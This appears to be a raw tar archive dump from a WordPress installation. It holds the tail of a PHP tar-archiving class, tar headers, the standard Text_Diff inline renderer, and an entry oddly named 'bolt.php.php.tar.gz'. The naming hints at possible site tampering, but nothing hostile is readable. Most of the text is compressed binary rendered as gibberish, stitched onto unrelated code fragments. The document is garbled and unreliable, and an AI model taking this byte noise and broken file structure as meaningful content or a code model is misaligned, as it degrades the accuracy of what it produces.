			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       Renderer/inline.php.tar                                                                             0000644                 00000016000 15217306007 0011064 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Renderer/bolt.php.php.tar.gz                                                                        0000644                 00000060651 15217306007 0011766 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
